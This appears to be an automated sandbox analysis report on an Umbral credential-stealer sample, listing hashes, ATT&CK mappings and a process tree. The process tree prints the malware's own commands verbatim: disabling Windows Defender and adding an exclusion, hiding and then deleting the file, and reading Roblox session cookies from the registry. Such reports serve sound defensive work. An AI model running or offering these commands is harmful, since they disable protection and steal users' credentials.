umbral | dc2a8b1f1aec321b087018c6177a9a6478d3ee10b04ef0ed525e3b33206ea3fc

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
01/01/2025, 05:14

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General

Target

bvQL7.scr
Size

231KB
MD5

8fcef0c1c33c1f00b585f79e484a63fa
SHA1

57eaedd0de6fc7b965a6b132cf23380076e63336
SHA256

dc2a8b1f1aec321b087018c6177a9a6478d3ee10b04ef0ed525e3b33206ea3fc
SHA512

ab422374c0f26ce2834b3738d7c4611f214ebb7090f98b7aa92bc1a7a273ead93186013268b5c15878f0df9c075c870ff9648001efc3f9ec03951d83df820fb0
SSDEEP

6144:RloZM+rIkd8g+EtXHkv/iD42i6kgGhZqLfiQBFUAjb8e1mAi:joZtL+EP82i6kgGhZqLfiQBFU+e

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/4312-1-0x000001737D3F0000-0x000001737D430000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2264	powershell.exe
2580	powershell.exe
5092	powershell.exe
3996	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	bvQL7.scr

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	discord.com
23	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4936	cmd.exe
1000	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
836	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1000	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4312	bvQL7.scr
3996	powershell.exe
3996	powershell.exe
2264	powershell.exe
2264	powershell.exe
2580	powershell.exe
2580	powershell.exe
2764	powershell.exe
2764	powershell.exe
5092	powershell.exe
5092	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4312	bvQL7.scr
Token: SeIncreaseQuotaPrivilege	3860	wmic.exe
Token: SeSecurityPrivilege	3860	wmic.exe
Token: SeTakeOwnershipPrivilege	3860	wmic.exe
Token: SeLoadDriverPrivilege	3860	wmic.exe
Token: SeSystemProfilePrivilege	3860	wmic.exe
Token: SeSystemtimePrivilege	3860	wmic.exe
Token: SeProfSingleProcessPrivilege	3860	wmic.exe
Token: SeIncBasePriorityPrivilege	3860	wmic.exe
Token: SeCreatePagefilePrivilege	3860	wmic.exe
Token: SeBackupPrivilege	3860	wmic.exe
Token: SeRestorePrivilege	3860	wmic.exe
Token: SeShutdownPrivilege	3860	wmic.exe
Token: SeDebugPrivilege	3860	wmic.exe
Token: SeSystemEnvironmentPrivilege	3860	wmic.exe
Token: SeRemoteShutdownPrivilege	3860	wmic.exe
Token: SeUndockPrivilege	3860	wmic.exe
Token: SeManageVolumePrivilege	3860	wmic.exe
Token: 33	3860	wmic.exe
Token: 34	3860	wmic.exe
Token: 35	3860	wmic.exe
Token: 36	3860	wmic.exe
Token: SeIncreaseQuotaPrivilege	3860	wmic.exe
Token: SeSecurityPrivilege	3860	wmic.exe
Token: SeTakeOwnershipPrivilege	3860	wmic.exe
Token: SeLoadDriverPrivilege	3860	wmic.exe
Token: SeSystemProfilePrivilege	3860	wmic.exe
Token: SeSystemtimePrivilege	3860	wmic.exe
Token: SeProfSingleProcessPrivilege	3860	wmic.exe
Token: SeIncBasePriorityPrivilege	3860	wmic.exe
Token: SeCreatePagefilePrivilege	3860	wmic.exe
Token: SeBackupPrivilege	3860	wmic.exe
Token: SeRestorePrivilege	3860	wmic.exe
Token: SeShutdownPrivilege	3860	wmic.exe
Token: SeDebugPrivilege	3860	wmic.exe
Token: SeSystemEnvironmentPrivilege	3860	wmic.exe
Token: SeRemoteShutdownPrivilege	3860	wmic.exe
Token: SeUndockPrivilege	3860	wmic.exe
Token: SeManageVolumePrivilege	3860	wmic.exe
Token: 33	3860	wmic.exe
Token: 34	3860	wmic.exe
Token: 35	3860	wmic.exe
Token: 36	3860	wmic.exe
Token: SeDebugPrivilege	3996	powershell.exe
Token: SeDebugPrivilege	2264	powershell.exe
Token: SeDebugPrivilege	2580	powershell.exe
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeIncreaseQuotaPrivilege	1564	wmic.exe
Token: SeSecurityPrivilege	1564	wmic.exe
Token: SeTakeOwnershipPrivilege	1564	wmic.exe
Token: SeLoadDriverPrivilege	1564	wmic.exe
Token: SeSystemProfilePrivilege	1564	wmic.exe
Token: SeSystemtimePrivilege	1564	wmic.exe
Token: SeProfSingleProcessPrivilege	1564	wmic.exe
Token: SeIncBasePriorityPrivilege	1564	wmic.exe
Token: SeCreatePagefilePrivilege	1564	wmic.exe
Token: SeBackupPrivilege	1564	wmic.exe
Token: SeRestorePrivilege	1564	wmic.exe
Token: SeShutdownPrivilege	1564	wmic.exe
Token: SeDebugPrivilege	1564	wmic.exe
Token: SeSystemEnvironmentPrivilege	1564	wmic.exe
Token: SeRemoteShutdownPrivilege	1564	wmic.exe
Token: SeUndockPrivilege	1564	wmic.exe
Token: SeManageVolumePrivilege	1564	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4312 wrote to memory of 3860	4312	bvQL7.scr	82
PID 4312 wrote to memory of 3860	4312	bvQL7.scr	82
PID 4312 wrote to memory of 3128	4312	bvQL7.scr	85
PID 4312 wrote to memory of 3128	4312	bvQL7.scr	85
PID 4312 wrote to memory of 3996	4312	bvQL7.scr	87
PID 4312 wrote to memory of 3996	4312	bvQL7.scr	87
PID 4312 wrote to memory of 2264	4312	bvQL7.scr	89
PID 4312 wrote to memory of 2264	4312	bvQL7.scr	89
PID 4312 wrote to memory of 2580	4312	bvQL7.scr	91
PID 4312 wrote to memory of 2580	4312	bvQL7.scr	91
PID 4312 wrote to memory of 2764	4312	bvQL7.scr	93
PID 4312 wrote to memory of 2764	4312	bvQL7.scr	93
PID 4312 wrote to memory of 1564	4312	bvQL7.scr	95
PID 4312 wrote to memory of 1564	4312	bvQL7.scr	95
PID 4312 wrote to memory of 1188	4312	bvQL7.scr	97
PID 4312 wrote to memory of 1188	4312	bvQL7.scr	97
PID 4312 wrote to memory of 1300	4312	bvQL7.scr	99
PID 4312 wrote to memory of 1300	4312	bvQL7.scr	99
PID 4312 wrote to memory of 5092	4312	bvQL7.scr	101
PID 4312 wrote to memory of 5092	4312	bvQL7.scr	101
PID 4312 wrote to memory of 836	4312	bvQL7.scr	103
PID 4312 wrote to memory of 836	4312	bvQL7.scr	103
PID 4312 wrote to memory of 4936	4312	bvQL7.scr	105
PID 4312 wrote to memory of 4936	4312	bvQL7.scr	105
PID 4936 wrote to memory of 1000	4936	cmd.exe	107
PID 4936 wrote to memory of 1000	4936	cmd.exe	107

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3128	attrib.exe

C:\Users\Admin\AppData\Local\Temp\bvQL7.scr
"C:\Users\Admin\AppData\Local\Temp\bvQL7.scr" /S
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4312
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3860
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\bvQL7.scr"
  2⤵
  - Views/modifies file attributes
  PID:3128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bvQL7.scr'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2764
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1564
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1188
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5092
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:836
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\bvQL7.scr" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4936
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1000

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
59217cbeb95bbb20a537a6b2982e290e

SHA1
9e395bb9bd12ea33a9189e36545976b435fef01f

SHA256
fc614d5720b155b3afbbd0132e5f39a48e7a4b9fc42289495520e205c42ab19d

SHA512
c91fe7da0406733edecfdcd44b07c8a1e55aae6054ae7e5b3ad64d1dacb846ac5e7149a7e5f4ffe1d88dde03195b043769311ac2f9d57933694921c7206d15bc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6317adf4fbc43ea2fd68861fafd57155

SHA1
6b87c718893c83c6eed2767e8d9cbc6443e31913

SHA256
c1ead17eef37b4b461cedc276504a441489e819c7f943037f2001966aeec90af

SHA512
17229aae8622e4bfc3caaac55684f7d4ccd3162af5919c851b1d8ac4060b6bb7b75044ecee116523d05acb55197dcb60780958f629450edef386f1e6f65f49f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w03q11av.vaj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3996-9-0x000001B8F4530000-0x000001B8F4552000-memory.dmp

Filesize
136KB

Download
memory/3996-14-0x00007FFA2AAA0000-0x00007FFA2B561000-memory.dmp

Filesize
10.8MB

Download
memory/3996-15-0x00007FFA2AAA0000-0x00007FFA2B561000-memory.dmp

Filesize
10.8MB

Download
memory/3996-18-0x00007FFA2AAA0000-0x00007FFA2B561000-memory.dmp

Filesize
10.8MB

Download
memory/3996-3-0x00007FFA2AAA0000-0x00007FFA2B561000-memory.dmp

Filesize
10.8MB

Download
memory/4312-34-0x000001737F0A0000-0x000001737F0F0000-memory.dmp

Filesize
320KB

Download
memory/4312-33-0x000001737FB80000-0x000001737FBF6000-memory.dmp

Filesize
472KB

Download
memory/4312-35-0x000001737F070000-0x000001737F08E000-memory.dmp

Filesize
120KB

Download
memory/4312-1-0x000001737D3F0000-0x000001737D430000-memory.dmp

Filesize
256KB

Download
memory/4312-0-0x00007FFA2AAA3000-0x00007FFA2AAA5000-memory.dmp

Filesize
8KB

Download
memory/4312-73-0x000001737FA40000-0x000001737FA52000-memory.dmp

Filesize
72KB

Download
memory/4312-72-0x000001737F060000-0x000001737F06A000-memory.dmp

Filesize
40KB

Download
memory/4312-2-0x00007FFA2AAA0000-0x00007FFA2B561000-memory.dmp

Filesize
10.8MB

Download
memory/4312-93-0x00007FFA2AAA0000-0x00007FFA2B561000-memory.dmp

Filesize
10.8MB

Download